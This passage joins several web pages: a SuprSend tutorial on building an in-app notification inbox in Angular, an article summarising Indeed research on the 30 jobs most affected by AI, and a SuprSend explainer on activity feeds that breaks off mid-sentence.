'23 The New Bard and Crazy AI Images, Videos, and Translations # bard # google # ai # chatbot Comments 1 comment 4 min read Unleashing the Power of GPT-4: Explore the Multimodal AI Revolution in Seconds! 😱 Rishabh Dwivedi Rishabh Dwivedi Rishabh Dwivedi Follow Jul 10 '23 Unleashing the Power of GPT-4: Explore the Multimodal AI Revolution in Seconds! 😱 # chatgpt # ai # bard # javascript 2 reactions Comments Add Comment 1 min read Use Bard with Python and Brad-API 0xkoji 0xkoji 0xkoji Follow Jul 8 '23 Use Bard with Python and Brad-API # python # bard # generativeai 7 reactions Comments 2 comments 3 min read Bard GPT - Best of both bots PARAM MITTAL PARAM MITTAL PARAM MITTAL Follow Jun 17 '23 Bard GPT - Best of both bots # ai # chatgpt # bard # bardgpt 9 reactions Comments Add Comment 1 min read Chat GPT vs Google Bard. Which is Best for Developers? Dhruv Joshi Dhruv Joshi Dhruv Joshi Follow Jun 10 '23 Chat GPT vs Google Bard. Which is Best for Developers? # discuss # programming # chatgpt # bard 13 reactions Comments 7 comments 3 min read php-bard-api John Pinto John Pinto John Pinto Follow May 18 '23 php-bard-api # php # bard # ai # library 3 reactions Comments Add Comment 1 min read Terminal Chat with Bard using bardAPI and Python John Pinto John Pinto John Pinto Follow May 16 '23 Terminal Chat with Bard using bardAPI and Python # bard # ai # python # chatgpt 3 reactions Comments Add Comment 1 min read AI Code Refactoring Tests Abraham Duno Abraham Duno Abraham Duno Follow May 15 '23 AI Code Refactoring Tests # webdev # bing # bard # chatgpt 2 reactions Comments Add Comment 3 min read OpenAI's GPT-4 VS. Google's Bard | I Tested complex responses between to AI's Austin F Austin F Austin F Follow Apr 6 '23 OpenAI's GPT-4 VS. Google's Bard | I Tested complex responses between to AI's # ai # bard # gpt4 # webdev 5 reactions Comments Add Comment 3 min read loading... trending guides/resources Embark on a Technological Odyssey: Meet Generative AI, Your Future! 💎 DEV Diamond Sponsors Thank you to our Diamond Sponsors for supporting the DEV Community Google AI is the official AI Model and Platform Partner of DEV Neon is the official database partner of DEV Algolia is the official search partner of DEV Forem — Your community HQ Home About Contact Code of Conduct Privacy Policy Terms of Use Built on Forem — the open source software that powers DEV and other inclusive communities. Made with love and Ruby on Rails . Forem © 2016 - 2026. We're a blogging-forward open source social network where we learn from one another Log in Create account | 2026-01-13T08:47:55 |
https://www.suprsend.com/post/how-to-implement-in-app-notifications-to-your-angular-app | How To Implement In-App Inbox Notification Center In Your Angular Application? Product FEATURES Template Engine Powerful template editors for all channels App Inbox Fully customizable inbox for your app & website Analytics Deep data insights on notification performance Logs Real-time notifications logs for all channels Smart Routing Reach users where they are Branding Seamlessly manage multi-brand customization Workflows Craft complex notification workflows Bifrost Run notifications natively on data warehouse Preferences Develop user focused notifications Integrations Integrate any channel and provider within mins Solutions BY USECASES Transactional Real-time alerts like authentication, activity updates Batching & Digest Aggregate multiple alerts into one Collaboration & Action Alerts on cross-user activity Scheduled Notifications One-time or recurring alerts like reminders Multi-tenant Alerts tailored to your customer's preferences Announcement / Newsletters Feature releases, achievements, product & policy updates Pricing Docs Customers Blog Login Get Started For Free Login Sign up Inapp Inbox Notifications How To Implement In-App Inbox Notification Center In Your Angular Application? Sanjeev Kumar • April 15, 2025 TABLE OF CONTENTS Integrating a SuprSend Angular notification center within your app can significantly enhance the user experience by providing a centralized hub for viewing, interacting with, and managing in-app notifications. suprsend-app-inbox With SuprSend’s Angular SDK, you can implement a feature-rich, customizable In-App Inbox Notification Center with minimal effort. This guide will walk you through the process of setting up an in-app notification center with SuprSend and highlight its key features. Why Build an In-App Inbox in Angular? An in-app inbox (or notification center) provides: Persistent alerts users can refer back to Personalized messages based on user behavior Real-time notification infrastructure without relying on external push A message hub for system alerts, marketing messages, and app events A scalable alternative to building notification features from scratch This makes in-app inboxes critical for SaaS products, marketplaces, and user-focused applications. How In-App Notification Centers are Designed Designing an in-app notification center from scratch can be complex. You need to manage multiple components, such as user identification, message storage, real-time updates, and UI elements. The SuprSend SDK handles most of these for you, offering a ready-made solution that you can customize to fit your needs. Below is a breakdown of the main components involved in setting up an in-app inbox: User Identification – Personalize notifications by identifying individual users through a unique user ID or subscription key. Message Handling – Manage the storage, display, and update of messages within the app. UI Components – Create a visual interface where users can interact with their notifications. This includes features like unread counters, bell icons, and toast notifications. Customization – Tailor the inbox's appearance and behavior, including notification cards, headers, action buttons, and more. SuprSend’s SDK abstracts most of these complexities, offering you a quick and efficient setup while allowing for deep customization if needed. How To Add In-App Notifications To Your Angular App Prerequisites Before integrating SuprSend’s notification center, ensure you have an Angular app ready to go. You can learn how to build an Angular app from scratch from here Angular - Build your first Angular app You can build a basic Angular app using a local installation of the Angular tools or by using StackBlitz in a web browser. Local Angular development can be completed on Windows, MacOS or Linux based systems. Step 1: Sign Up on SuprSend Visit SuprSend’s official website, sign up , and create your workspace. Once set up, you’ll receive a workspace key and secret, which you’ll use to authenticate your app’s connection to SuprSend’s services. How to Add a Notification Center Quickly with SuprSend Setting up the notification center is straightforward and can be done in just a few steps. Installation Start by installing SuprSend’s Angular SDK, along with the necessary dependencies like js-inbox and Popper.js. npm install @suprsend/ngx-inbox @suprsend/js-inbox @popperjs/core Initialization Next, initialize the SuprSend inbox module in your Angular app by importing SuprSendInboxModule into your app module. Don’t forget to provide your workspace key and secret. import { SuprSendInboxModule } from '@suprsend/ngx-inbox'; @NgModule({ imports: [ SuprSendInboxModule.forRoot({ workspaceKey: 'your workspaceKey', workspaceSecret: 'your workspaceSecret', }), ], }) export class AppModule {} User Identification To send personalized notifications, identify users by passing their distinct_id and subscriber_id: import { SuprSendInboxService } from '@suprsend/ngx-inbox'; export class MyComponent implements OnInit { constructor(private ssinbox: SuprSendInboxService) {} async ngOnInit() { this.ssinbox.identifyUser('distinct_id', 'subscriber_id'); } } Testing Finally, you can integrate the notification center in your app's UI and test it: <suprsend-inbox></suprsend-inbox> Feature-Rich SuprSend Inbox: What It Offers SuprSend’s inbox has features that help streamline user engagement and simplify notification management. Some of the key features include: 1. Action Buttons : Notifications can include primary and secondary action buttons to allow users to respond or perform an action directly from the notification. Customization : You can customize the styling of both action buttons and set custom click handlers. <SuprsendInbox theme={{ notification : { actions : [ { container : { backgroundColor : 'blue' }, text : { color : 'white' } }, { container : { backgroundColor : 'gray' }, text : { color : 'yellow' } } ] } }} primaryActionClickHandler={ ( data ) => handlePrimaryAction(data)} secondaryActionClickHandler={ ( data ) => handleSecondaryAction(data)} /> 2. Notification Status Tracking : The platform provides real-time tracking of notifications’ read/unread status. This data can be analyzed to gain insights into user engagement. Customization : You can add custom click handlers to respond to users' interactions with notifications. <SuprsendInbox notificationClickHandler={(notificationData) => handleNotificationClick(notificationData)} /> 3 .Tabs and Filters : Notifications can be categorized and organized using tabs and filters. This helps users navigate notifications more easily, improving the overall user experience. Customization : You can adjust the style of tabs and filters, or even hide certain tabs or counters based on your design preferences. <SuprsendInbox theme={{ tabs: { color: 'red', unselectedColor: 'gray', bottomColor: 'blue' } }} /> 4. Expiry Timer Configuration The expiry feature allows you to add an expiration timer to notifications with customizable styling options. Property Description Example Background Color Set the background color of the expiry text theme={{ notification: { expiresText: { backgroundColor: 'red' } } }} Text Color Set the text color of the expiry text theme={{ notification: { expiresText: { color: 'white' } } }} Expiring Background Color Set the background color when the notification is about to expire theme={{ notification: { expiresText: { expiringBackgroundColor: 'orange' } } }} Expiring Text Color Set the text color when the notification is about to expire theme={{ notification: { expiresText: { expiringColor: 'black' } } }} 5. Pinning Feature The pinning feature allows users to pin important notifications for quick access. Property Description Example Text Color Set the color of the pinned text theme={{ notification: { pinnedText: { color: 'blue' } } }} Icon Color Set the color of the pin icon theme={{ notification: { pinnedIcon: { color: 'gold' } } }} 6. Mark as Read/Unread : Users can easily mark notifications as read or unread. This helps them prioritize and manage important information. The notification card visually indicates its read status by toggling between different styles for read and unread messages. Customization : Use the notificationComponent prop to create custom behavior for marking notifications as read or unread. <SuprsendInbox notificationComponent={({ notificationData, markRead, markUnRead }) => ( <CustomNotificationCard data={notificationData} markAsRead={markRead} markAsUnRead={markUnRead} /> )} /> 7. Cross-Browser and Device Sync : Notifications are synchronized across all devices and browsers. Whether a user reads a notification on their desktop or mobile, SuprSend ensures their actions are synced in real-time, providing a seamless experience. Customization Options SuprSend’s appinbox component is not just feature-rich; it’s also highly customizable. Here's a breakdown of how you can modify the inbox to fit your app's unique design needs: inbox-customisation 1. Inbox Theme Customization : SuprSend angular inapp inbox supports both light and dark themes by default, but you can fully control the styling using the theme prop. <SuprsendInbox themeType="light" /> <SuprsendInbox themeType="dark" /> For more advanced styling, you can provide custom CSS properties for specific elements like the header, body, or action buttons. <SuprsendInbox theme={{ header: { container: { backgroundColor: 'black' }, headertext: { color: 'white' } }, notification: { container: { unreadBackgroundColor: 'lightgray', readBackgroundColor: 'white' } } }} /> 2. Customizing Notification Cards : Notification cards can be styled based on their state (read/unread). You can also customize the look of individual parts, like the header text, body text, or action buttons. <SuprsendInbox theme={{ notification: { container: { unreadBackgroundColor: 'lightblue', readBackgroundColor: 'lightgray' }, headerText: { color: 'darkblue' }, bodyText: { color: '#333' }, unseenDot: { backgroundColor: 'red' } } }} /> 3. Custom Bell Icon : You can modify the default bell icon or provide a custom bell component. <SuprsendInbox bellComponent={() => <CustomBellIcon />} theme={{ bell: { color: 'green' } }} /> 4. Custom Badge (Notification Counter) : The badge component, which shows the number of unseen notifications, is fully customizable. You can change its style or pass your own badge component. <SuprsendInbox badgeComponent={({ count }) => <CustomBadge count={count} />} theme={{ badge: { backgroundColor: 'pink', color: 'white' } }} /> You can check out this documentation to find more about customizations: Embeddable Inbox (suprsend.com) Test the Notification Center Testing is an essential step to ensure your notification center functions correctly. Use SuprSend’s built-in tools to test real-time notifications, user identification, and customization options within different environments and devices. You can analyze if an app inbox is initialized by checking the logs section on SuprSend. You can also check if the API events are passed correctly by checking your browser’s Network console. browser-test-for-appinbox You can also test the notification workflow from the Test Workflow button on the Workflow dashboard. Why Choose SuprSend Over Building Your Own In-App Notification Center Building a fully functional notification center from scratch requires significant resources, including time and technical expertise. SuprSend streamlines this process by offering: Ready-to-use SDKs in all major languages. React components and example apps to embed Inbox UI in your product quickly. Customization options to fit your product’s branding and design. Scalable and reliable service, without any infra setup or maintenance. Advanced features like action buttons, language translation, state management (mark as read/unread, archive), toasts, pinning and expiry. Real-time feed and cross-browser / device compatibility using web socket. What are the benefits of in-app notifications for your Angular app? An In-App Inbox Notification Center is more than just a notification feed, it’s a user engagement hub delivering real-time updates within the app. Let's explore the key benefits of adding an in-app notification system: 1. Delivering Real-Time Updates Ensure your users receive immediate alerts and information without relying on external channels. With real-time notifications, users remain informed about important events and changes directly within the app. 2. Boosting User Engagement In-app notification in Angular encourages interaction without disrupting the user experience. Users can review, dismiss, or act on messages seamlessly, boosting their overall engagement with your application. 3. Personalized Communication Tailor notifications to individual users based on their behavior and preferences. This leads to more relevant and impactful messaging, increasing the chances of user interaction. 4. Persistent Messaging Unlike traditional notifications that vanish after dismissal, in-app notifications remain accessible until the user interacts with them. This ensures that critical information is not missed and can be revisited later. 5. Unified Notification Hub Manage notifications from various sources, such as marketing campaigns, in-app activities, and system alerts, within a single interface. This makes it easy for users to track all messages in one place. 6. Actionable Notifications Include buttons or links in your notifications to allow users to take action immediately, improving the efficiency of your communication. 7. Cross-Device Sync Ensure notifications are synchronized across different devices and browsers. SuprSend’s inbox supports seamless syncing, providing a consistent experience for users. Conclusion Integrating SuprSend’s In-App Inbox Notification Center into your Angular application is a smart, efficient way to boost user engagement and streamline communication. Whether you’re delivering real-time updates or personalizing user experiences, SuprSend offers a robust, customizable solution that’s quick to implement and easy to maintain. For more detailed documentation, explore SuprSend’s official documentation here . FAQs: SuprSend In-App Inbox in Angular ❓ What is SuprSend's in-app inbox? SuprSend’s in-app inbox is a customizable notification center that lives inside your app, letting users see, manage, and interact with notifications in real-time. ❓ What’s the difference between in-app messaging and inbox? In-app messaging is typically transient (like toasts). An in-app inbox persists messages, lets users revisit old notifications, and supports richer interactions. ❓ Is SuprSend’s inbox SDK open source? The SDK itself is proprietary but built on open standards. You can integrate it easily without worrying about maintenance or infrastructure. ❓ Can I use SuprSend for cross-device syncing? Yes, SuprSend syncs inbox states across desktop, mobile, and web sessions in real-time using sockets. ❓ What types of apps benefit most from an in-app inbox? SaaS platforms Fintech apps Marketplaces Social platforms Developer tools Edtech and productivity apps Share this blog on: Written by: Sanjeev Kumar Engineering, SuprSend Implement a powerful stack for your notifications Get Started For Free Book Demo Company About us Signup Login Integrations Pricing Security Privacy Terms Contact Us Support SuprSend for Startups API Status Sign Up Channels Email SMS Notification Inbox Android Push iOS Push Web Push Xiaomi Push Whatsapp SDK Python SDK Node.js SDK Java SDK Android SDK React Native SDK iOS SDK Flutter SDK Go SDK Resources Documentation Changelog Blogs Write for us SMTP Error Codes SMS Providers Comparisons Email Providers Comparisons SMS Providers Alternatives Join us on Slack We are building a community of developers and product builders from across the globe to make notifications a pleasant experience. © 2025 All rights reserved. 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https://www.finalroundai.com/blog/jobs-most-impacted-by-ai-2025 | 30 Jobs Most Impacted by AI in 2025, According to Indeed Research Promotion title Promotion description Button Text Interview Copilot AI Application AI Resume Builder Auto Apply AI Resume Builder Auto Apply AI Mock Interview Pricing Resources Resume Creation Tools Recruiters Hotline Resume Checker Cover Letter Generator Career Guidance Tools AI Career Coach LinkedIn Profile Optimizer LinkedIn Resume Builder Support Guides Blog Articles Resume Creation Tools Recruiters Hotline Resume Checker Cover Letter Generator Career Guidance Tools AI Career Coach LinkedIn Profile Optimizer LinkedIn Resume Builder Support Guides Blog Articles Question bank Sign In Sign Up Interview Copilot AI Application AI Resume Builder Auto Apply AI Mock Interview Pricing Resources Resume Creation Tools Recruiters Hotline Resume Checker Cover Letter Generator Career Guidance Tools AI Career Coach LinkedIn Profile Optimizer LinkedIn Resume Builder Support Guides Blog Articles 🔥 Question Bank Sign In Home > Blog > News Home > Blog > News 30 Jobs Most Impacted by AI in 2025, According to Indeed Research Indeed analyzed 3,000 work skills and found 26% of jobs will be highly transformed by AI, but most won't disappear. Find out if your career is on the list. Written by Kaustubh Saini Edited by Jaya Muvania Reviewed by Kaivan Dave Updated on Sep 23, 2025 Read time 5 Min Read Comments https://www.finalroundai.com/blog/jobs-most-impacted-by-ai-2025 Link copied! Indeed just analyzed nearly 3,000 work skills to figure out which jobs AI will change the most. The results are surprising. Instead of AI simply replacing workers, the study shows something different. Most jobs won't disappear - they'll just change how the work gets done. AI will handle the boring, repetitive stuff while humans focus on the complex thinking and decision-making. Indeed used its new GenAI Skill Transformation Index (GSTI) - a measure of how much AI could transform nearly 2,900 work skills - to see which jobs are most exposed. The research looked at job postings from May 2024 to April 2025 and found: 26% of jobs face major changes from AI 54% will see moderate changes 20% have low exposure to AI transformation 0.7% of work skills can be completely replaced by AI right now The study breaks AI's impact into four categories: 1) Minimal transformation: Little AI impact. Jobs like patient care and construction that need physical work and human connection. 2) Assisted transformation: AI supports human work. Jobs like teaching and legal research where AI helps but humans lead. 3) Hybrid transformation: AI handles routine work while humans oversee. Jobs like coding and accounting where AI does the boring stuff and humans manage quality. 4) Full transformation: AI can execute tasks independently under structured conditions. Only applies to very specific skills like basic math and image classification. Here's what's really happening: AI becomes your assistant, not your replacement. Most jobs fall into the " hybrid " category - AI does the routine work while you handle the important stuff that requires human judgment. The 30 Jobs AI Will Change the Most These occupations face the highest potential for AI transformation based on Indeed's analysis of nearly 3,000 work skills. 1. Software Development - 81% of skills in software jobs can be changed by AI. AI can already write basic code, fix bugs, and generate simple programs. Software developers are becoming managers of AI - they review AI-generated code, solve complex problems, and design systems. As the study notes, " The model can support this skill by providing explanations, code samples, debugging help, and architectural advice. " The boring coding work goes to AI, while creative problem-solving stays human. 2. Data & Analytics - 79% of skills face AI transformation. AI can crunch numbers, spot patterns, and create charts faster than humans. Data analysts will spend less time collecting data and more time figuring out what the numbers mean for business decisions. 3. Accounting - 74% of skills can be changed by AI. Bookkeeping, tax calculations, and basic financial records are perfect for AI. Accountants will focus more on financial advice, business strategy, and complex situations that need human judgment. 4. Marketing - 69% of skills face transformation. AI can write ads, create social media posts, and analyze campaign performance. Marketers will focus on creative strategy, understanding customers, and building relationships. 5. Insurance - 70% of skills can be transformed. Processing claims, checking policies, and calculating risk are ideal for AI. Insurance workers will handle complex claims and situations that require human judgment. 6. IT Infrastructure, Operations & Support - 70% of skills face changes. AI can monitor systems, fix common problems, and handle basic tech support tickets. IT workers will focus on complex troubleshooting and designing systems. 7. IT Systems & Solutions - 67% of skills can be automated. System setup, basic configuration, and routine maintenance can be automated. IT professionals will handle complex system design and custom solutions. 8. Administrative Assistance - 67% of skills can be automated. Scheduling meetings, managing emails, and handling routine requests are perfect AI tasks. Administrative workers will focus on complex coordination and relationship management. 9. Banking & Finance - 69% of skills face transformation. Processing transactions, reviewing loan applications, and basic financial analysis can be automated. Bank workers will focus on complex financial planning and relationship building. 10. Customer Service - 66% of skills can change. AI chatbots handle basic questions, process orders, and solve simple problems. Customer service workers will deal with complex complaints and situations requiring empathy. 11. Real Estate - 65% of skills face changes. AI can research properties, analyze markets, and manage listings. Real estate agents will focus on negotiating deals and building client relationships. 12. Medical Information - 64% of skills can be transformed. Medical coding, appointment scheduling, and patient records are ideal for AI. Healthcare administrative workers will focus on complex patient needs and care coordination. 13. Industrial Engineering - 63% of skills face changes. AI can analyze processes, calculate efficiency, and suggest improvements. Engineers will focus on creative problem-solving and designing new systems. 14. Project Management - 62% of skills can be automated. Tracking tasks, scheduling resources, and creating reports can be handled by AI. Project managers will focus on leading teams and making strategic decisions. 15. Logistic Support - 60% of skills face transformation. Route planning, inventory tracking, and shipment coordination are perfect for AI. Logistics workers will handle complex supply chain problems. 16. Human Resources - 60% of skills can change. Resume screening, interview scheduling, and basic employee questions can be automated. HR workers will focus on employee relations and complex workplace issues. 17. Pharmacy - 57% of skills face changes. Processing prescriptions, checking drug interactions, and managing inventory can be automated. The study found that AI can "access extensive information about coding systems, rules, and best practices, and can assist with code lookup, documentation review, and error checking." Pharmacists will spend more time counseling patients and providing clinical services. 18. Media & Communications - 58% of skills can be transformed. Writing basic articles, editing content, and managing social media can be partially automated. Media workers will focus on investigative reporting and creative storytelling. 19. Legal - 57% of skills face changes. Document review, legal research, and contract analysis can be largely automated. Lawyers will focus on strategy, client counseling, and complex legal arguments. 20. Sales - 52% of skills can change. Lead generation, initial contact, and follow-up emails can be automated. Salespeople will focus on building relationships and negotiating complex deals. 21. Scientific Research & Development - 50% of skills face transformation. Data analysis, literature reviews, and routine experiments can be partially automated. Scientists will focus on creative hypothesis development and interpreting results. 22. Hospitality & Tourism - 49% of skills can be automated. Booking reservations, answering basic questions, and managing schedules can be handled by AI. Hospitality workers will focus on personal service. 23. Retail - 51% of skills face changes. Inventory management, basic customer questions, and routine transactions can be automated. Retail workers will focus on personal shopping assistance. 24. Security & Public Safety - 51% of skills can be transformed. Monitoring systems and basic threat detection can be automated. Security workers will handle emergency response and complex situations. 25. Management - 48% of skills face changes. Routine reports, scheduling, and data analysis can be automated. Managers will focus on leading teams and making strategic decisions. 26. Arts & Entertainment - 47% of skills can change. Basic content creation and technical production tasks can be partially automated. Artists will focus on original creative work. 27. Chemical Engineering - 48% of skills face transformation. Process calculations and routine analysis can be automated. Engineers will focus on innovative design and complex problem-solving. 28. Social Science - 47% of skills can be automated. Data analysis and basic research can be handled by AI. Social scientists will focus on research design and policy recommendations. 29. Electrical Engineering - 46% of skills face changes. Circuit design and routine calculations can be partially automated. Engineers will focus on complex system design. 30. Education & Instruction - 46% of skills can be transformed. Grading, basic content creation, and administrative tasks can be automated. Teachers will focus on mentoring students and adapting to individual needs. Jobs That Stay Mostly Human Some jobs resist AI changes because they need physical work, human connection, or complex judgment: Nursing - 68% of skills stay human because patient care requires physical presence and emotional intelligence. As the study explains, " the core of patient care is inherently physical and interpersonal. " However, AI can help with administrative tasks. For nursing administration, the research found that AI can provide "theoretical knowledge, policy templates, compliance guidelines, and advice on best practices." This frees up nurses to spend more time with patients. Construction - Building things requires manual work and on-site problem-solving. Childcare - Taking care of children needs human connection and constant attention. Personal Care - Helping people with daily needs requires physical assistance and empathy. Driving - Even with self-driving cars being developed, human judgment in complex traffic situations remains important. What This Study Doesn't Tell Us It’s important to note that Indeed’s research measures potential transformation, not guaranteed outcomes . The impact of AI on jobs will depend heavily on how quickly companies adopt GenAI, how digital their operations already are, and how workers reskill. Only 0.7% of skills were rated as “very likely” to be fully replaced by AI today, and those were mostly small, technical sub-skills like basic math or XML parsing. Many jobs also include human elements, judgment, creativity, empathy that AI cannot replace. Finally, not all AI models perform equally well. Indeed’s team tested multiple models, and found significant variation in quality. That means the pace and scope of change could look very different depending on which tools businesses choose to adopt. The Bottom Line The Indeed data shows we're not facing a jobs apocalypse. We're facing a jobs transformation. AI won't eliminate most careers, but it will fundamentally change how work gets done. The winners will be people who learn to direct AI rather than compete against it. You'll spend less time on data entry, basic coding, and routine analysis. More time on strategy, creativity, and solving problems that actually matter. This shift is already starting. Companies like Microsoft report that AI writes 30% of their code. Customer service bots handle millions of interactions daily. The question isn't whether this affects your industry - it's whether you'll adapt before your competitors do. Here's the reality: workers who embrace AI tools are already earning more and producing better results than those who don't. But the window to get ahead of this curve won't stay open forever. The jobs that survive and thrive will be the ones where humans add something AI cannot - judgment, empathy, creative problem-solving, and the ability to navigate complex, unpredictable situations. If your work involves any of those elements, you're not being replaced. You're being upgraded. The companies and workers who figure this out first will have a massive advantage over those who wait. The transformation is happening whether you participate or not. Upgrade your resume! Create a hireable resume with just one click and stand out to recruiters. Upload Your Resume Now ← Back to all articles Table of Contents Example H2 Example H3 Ace Your Next Interview with Confidence Unlock personalized guidance and perfect your responses with Final Round AI, ensuring you stand out and succeed in every interview. Get Started Free Related articles Computer Science Graduates Face Worst Job Market in Decades News • Kaustubh Saini Computer Science Graduates Face Worst Job Market in Decades Computer science graduates are struggling to find jobs as the unemployment rate hits 6.1% in 2025. Check how AI, mass layoffs, and oversupply have created the worst CS job market in decades. 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https://www.suprsend.com/post/activity-feed | What is an Activity Feed - Meaning, Benefits, Examples & more Product FEATURES Template Engine Powerful template editors for all channels App Inbox Fully customizable inbox for your app & website Analytics Deep data insights on notification performance Logs Real-time notifications logs for all channels Smart Routing Reach users where they are Branding Seamlessly manage multi-brand customization Workflows Craft complex notification workflows Bifrost Run notifications natively on data warehouse Preferences Develop user focused notifications Integrations Integrate any channel and provider within mins Solutions BY USECASES Transactional Real-time alerts like authentication, activity updates Batching & Digest Aggregate multiple alerts into one Collaboration & Action Alerts on cross-user activity Scheduled Notifications One-time or recurring alerts like reminders Multi-tenant Alerts tailored to your customer's preferences Announcement / Newsletters Feature releases, achievements, product & policy updates Pricing Docs Customers Blog Login Get Started For Free Login Sign up Product What is an Activity Feed - Meaning, Benefits, Examples & more Anjali Arya • August 22, 2025 TABLE OF CONTENTS Every company wants good user engagement and product adoption to drive their revenue. However, the level of adoption depends on multiple factors, including how timely and frequently you can update or nudge users to take some desired action on your application. One powerful way to achieve these goals is by integrating an activity feed into your application. Activity feeds serve as dynamic, real-time streams of relevant notifications, offering insights into what’s happening across a platform. They not only enhance user experience but also improve communication and productivity. Let’s explore the benefits of adding an activity feed to your B2B product and how it can streamline your user experience. What is an Activity Feed? Activity feed is commonly used by social media platforms or collaboration products to display real-time or periodic stream of updates related to all user actions within an application or project. It acts as a centralized space where users can quickly access critical information about user actions, content changes, new interactions, or system-generated events, making it easier to track projects and collaborate with team members. No. UI Component Description 1 Bell Icon Icon indicating the presence of notifications and numbers. 2 Notification Header Header section providing an overview of notifications. 3 Mark All as Read Option to mark all notifications as read. 4 Notification Row Individual row representing a single notification. 5 Unread Dot Indicator Visual indicator (typically a dot) highlighting unread notifications. 6 Buttons Buttons for interacting with notifications (e.g., accept, decline). 7 Avatar Small user or entity image associated with the notification. 8 Title Title indicating the nature of the notification. 9 Content / Body Main content or message of the notification. 10 Subtext and Timestamp Additional information or context for the notification along with the timestamp. 11 Thumbnail Descriptive image for message on the right side. 12 Pin Used to pin important updates for users on the top. Can club with expiry to make sure pinned notification is archived after some time. Activity Feed vs. Notification Feed While activity feeds and notification feeds look similar, they serve distinct purposes: Activity Feed: Displays a broad stream of updates, encompassing all relevant actions and changes within the application. Provides a centralized view of what’s happening, whether or not the user is tagged to it.t. Designed to give users a comprehensive overview for org or account level activities to track progress or stay updated on latest changes and trends.monitoring changes. End goal is to increase user stickiness and retention by feeding them engaging updates. Notification Feed: Focuses only on updates that the user has been explicitly notified about. Often user-configurable, allowing individuals to select the type of alerts they want to receive. Ensures users don’t miss critical updates by surfacing only prioritized content. End goal is to notify users about in-product actions or send them higher longevity content that they can refer to at a later date. Benefits of Integrating an Activity Feed 1. Boost User Engagement Activity feeds encourage users to interact with the platform regularly by surfacing relevant updates and actions in real-time or periodically. The visibility of these updates ensures that users are constantly aware of what's happening, prompting them to respond to comments, review changes, or address pending tasks. 2. Prolonged Session Duration and Improved Retention Activity feeds naturally increase session duration by providing a dynamic stream of information. Users are more likely to stay engaged when updates are readily available, creating a habit of revisiting the platform. This continuous interaction contributes to higher user retention and builds long-term value for the product. 3. Centralized Trail of Company-Level Activities In B2B environments, collaboration across teams and departments is essential. Activity feeds serve as a centralized repository for tracking key actions and updates across the organization, such as project milestones, team member contributions, or client interactions. This transparency enhances accountability and ensures everyone stays informed about company level activties and updates. 4. Ideal for Broadcasting Group Messages Activity feeds are an excellent medium for disseminating group-wide announcements or updates, such as policy changes, new feature rollouts, or important company milestones. By integrating these messages directly into the feed, users can access them alongside their regular updates, ensuring visibility without disrupting their workflow. 5. Enhancing Communication and Transparency Activity feeds improve communication by providing real-time visibility into team activities, project updates, and key events. Centralizing information ensures that all stakeholders stay informed about the latest developments. This transparency helps teams collaborate more efficiently and reduces the need for constant follow-up emails or meetings, saving time and effort. 6. Getting real-time insights of customer behaviour An activity feed benefits the users and provides the product team with valuable insights into user behavior . You can gather actionable data on what content or features are most engaging by tracking user interactions with the feed, such as clicks, comments, and reactions. Types of Activity Feeds Before jumping into the implementation, let’s look at the types of activity feeds and which one best suits your product’s and user’s needs. You’ll be using one or combination of these feeds in your product depending on the usecase. An effective activity feed implementation can vary depending on the product's and users' needs. Here are three key types of activity feeds, each serving a distinct purpose: 1. Flat Feeds Flat feeds present updates as they arrive, chronological order, with each event listed as 1 notification . These feeds are generally shown in reverse chronological order so that users can see the latest update on top. Characteristics: Events appear as they occur, with no grouping or filtering. Best suited for use cases where instant update and maintaining the exact order of actions is crucial, such as activity logs or feeds. Ideal for applications demanding transparency and immediacy. Examples: Social media Platforms like linkedin, twitter showing latest updates from followings or industry leaders A project management tool logging task updates or assignments sequentially. Advantages: Easy to implement and understand. Provides complete visibility into every action without alteration or filtering. Drawbacks: Can become overwhelming for users if there is a high volume of updates. A good practice here is to use threading (like Jira) to club updates related to same task or user together to give real-time updates without compromising on user experience. 2. Aggregated Feeds Aggregated feeds group similar or related updates into a single summarized event, reducing clutter and improving readability. Characteristics: Combines repetitive or related actions into concise summaries. Helps users focus on the overall context rather than individual events. Often uses algorithms or rules to identify and group related events. Examples: A notification that says, “John and 3 others commented on your post,” instead of showing four separate updates. Summaries like “12 new tasks added to the project today.” Advantages: Reduces cognitive overload by avoiding an overwhelming number of updates. Improves efficiency by presenting users with concise and actionable information. Drawbacks: Updates are not sent in real-time since they are batched and sent at a periodic interval. You can instead use self updating notifications where the first notification is sent immediately like “John commented on your post” and then updates when other users comment to “John+3 others commented on your post. 3. Notification Feeds Notification feeds are personalized user feeds used to show alerts targeted to the user, generally used to send updates related or relevant to the user. Characteristics: Alerts users about actions that directly involve them, such as comments on their posts, mentions, or approvals needed. Often configurable, allowing users to select the types of notifications they want to see. Examples: “Your document was approved by the manager.” “You were mentioned in a comment on the marketing plan.” Advantages: Ensures users never miss critical updates tailored to their needs. Prioritizes critical actions, increasing user productivity and satisfaction. Drawbacks: Risk of notification fatigue if not properly managed or personalized. How Activity Feeds Work Activity feeds capture, process, and display real-time data based on user interactions. This involves backend event handling, front-end rendering, and interactivity elements to enhance the experience. Here's a detailed breakdown of how they work: Key Components of an Effective Activity Feed 1. Relevance Personalized content ensures users see updates most pertinent to them, reducing information overload. Technical Aspects of Relevance: User Segmentation: Assigning updates to specific user groups based on roles, preferences, or behaviors. Content Personalization: Algorithms analyze user activity patterns to prioritize updates most relevant to them. Example: A project management tool might prioritize updates on tasks assigned to the user. Dynamic Filtering: Backend systems employ filtering mechanisms to deliver user-specific updates while ignoring irrelevant ones. Implementation Techniques: Machine Learning Models: Predict which updates are most relevant to a user based on their past interactions. Metadata Tagging: Tagging events with categories, allowing users to filter based on interests or roles. Custom Settings: Enable users to adjust feed preferences for greater control over what they see. 2. Timeliness Deliver updates in real-time or near-real-time to maintain user trust and engagement. Technical Aspects of Timeliness: Real-Time Event Handling: Backend systems use event-driven architecture to process updates instantly. Example: Queueing engines like Kafka or AWS Kinesis ensure low-latency event streaming. Push Mechanisms: WebSockets: Provides a persistent connection between the client and server for instant updates. Server-Sent Events (SSE): A lightweight alternative for streaming updates in real-time. Polling: Periodic requests to the server for new updates when real-time streams are unavailable. Implementation Challenges: Scalability: Handling millions of simultaneous users without delay. Concurrency Management: Ensuring updates are delivered without duplication or loss. User Experience Enhancements: Show a loading spinner for updates in progress or implement a "new updates available" indicator to notify users of fresh content. 3. Interactivity Include interactive elements in the notification like action buttons, hyperlinks, inline actions (reply, comment, share) to encourage user participation. Also, give options to change notification state (read, unread, archive) on a notification feed. Technical Aspects of Interactivity: Click action handling: maintaining button states (loading, disabled, enabled) when it is clicked. Custom Click handling for inline actions: Allowing relevant function to be executed when an inline action button is clicked. Cross-browser sync for notification state change: Give mark as read, unread, archive, delete on a feed to change the state of the 